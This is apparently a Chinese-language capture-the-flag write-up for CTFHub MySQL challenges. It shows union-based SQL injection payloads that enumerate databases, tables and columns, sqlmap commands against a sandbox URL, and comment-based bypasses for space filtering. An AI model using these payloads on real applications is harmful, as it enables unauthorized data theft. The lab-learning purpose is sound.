MYSQL
手工注入
1.判断字段数
输入1

输入2

输入3

得知字段有两个
2.判断注入类型
1 and 1 = 1

1 and 1=2

回显错误,说明存在sql注入
3.查看数据库内容
知道字段数量为2后,可以查看数据库位置
1 union select 1,2

使用union select 1,2查看未发现数据,判断数据可能不存在数据库中,
在id=1中加入负号可以查看到不存在数据库中的数据
-1 union select 1,2

查看数据库版本
修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
-1 union select 1,version()

查看数据库名
修改2为database(),查看数据库名,发现数据库名为sqli
-1 union select 1,database()

查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata

4.查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

sqli数据库中发现trbncnizbj和news两个表名(题目环境不同,得到的表名也不相同,注意修改)
5.查看字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='trbncnizbj'

查看trbncnizbj表中的全部字段名,发现一个数据名为iosfiklapu
6.查看flag
-1 union select 1,group_concat(iosfiklapu) from sqli.trbncnizbj

查看数据onwodzqnwq中的内容,发现此题flag
或者
3.爆数据库
123 union select 1,database()#

4.爆表名
123 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
5.爆字段
vyaosuyeqw(题目环境不同,得到的表名也不相同,注意修改)
123 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'vyaosuyeqw'

6.爆flag
rmutuveest
123 union select 1,rmutuveest from vyaosuyeqw

得到flag
sqlmap
http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800
爆数据库名
sqlmap -u http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800/?id=1 --dbs

爆表名
sqlmap -u http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

vyaosuyeqw
爆字段
vyaosuyeqw(题目环境不同,得到的表名也不相同,注意修改)
sqlmap -u http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800/?id=1 -D sqli -T vyaosuyeqw --columns

爆出flag
rmutuveest
sqlmap -u http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800/?id=1 -D sqli -T vyaosuyeqw -C rmutuveest --dump

CTFHub | MySQL结构_ctfhub mysql结构-CSDN博客
CTFHub技能树之WEB MYSQL结构_ctfhubmysql结构-CSDN博客
过滤空格

过滤了空格致使无法执行注入的语句时,可使用以下字符代替空格,发挥同样效果
():一对圆括号
+:加号
%09、%0a、%0b、%0c、%0d:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式
/**/:块注释符
题解

注入类型
输入1

构造payload and 1 = 1,发现页面提示Hacker!!!

对空格进行过滤,也就是payload语句中的空格需要使用字符进行过滤
/**/and/**/1/**/=/**/1

1/**/and/**/1/**/=/**/2
等于2时回显错误,说明此题存在过滤空格注入

字段数
使用order by 判断字段数量
1/**/order/**/by/**/1

1/**/order/**/by/**/2

1/**/order/**/by/**/3

使用order by 3,这里无回显,那么字段数量为2列
数据库
查看数据库位置
1/**/union/**/select/**/1,2

使用union select 1,2查看未发现数据
断数据可能不存在数据库中,在id=1中加入负号查看数据
-1/**/union/**/select/**/1,2

查看数据库版本
-1/**/union/**/select/**/1,version()

发现数据库版本为MariaDB 10.3.22
查看数据库名
-1/**/union/**/select/**/1,database()

发现数据库版本为sqli
查看全部数据库名
-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

表名
在全部数据库名中发现sqli
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

最后在sqli数据库中发现uavxcnipfh和news两个表名(题目环境不同,得到的表名也不相同,注意修改)
字段
先查看uavxcnipfh表中的全部字段名,
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='uavxcnipfh'

发现一个数据名为gmrdjzkbmr
flag
-1/**/union/**/select/**/1,group_concat(gmrdjzkbmr)/**/from/**/sqli.uavxcnipfh

查看数据gmrdjzkbmr中的内容,发现此题flag
CTFHub | 过滤空格_ctfhub过滤空格-CSDN博客
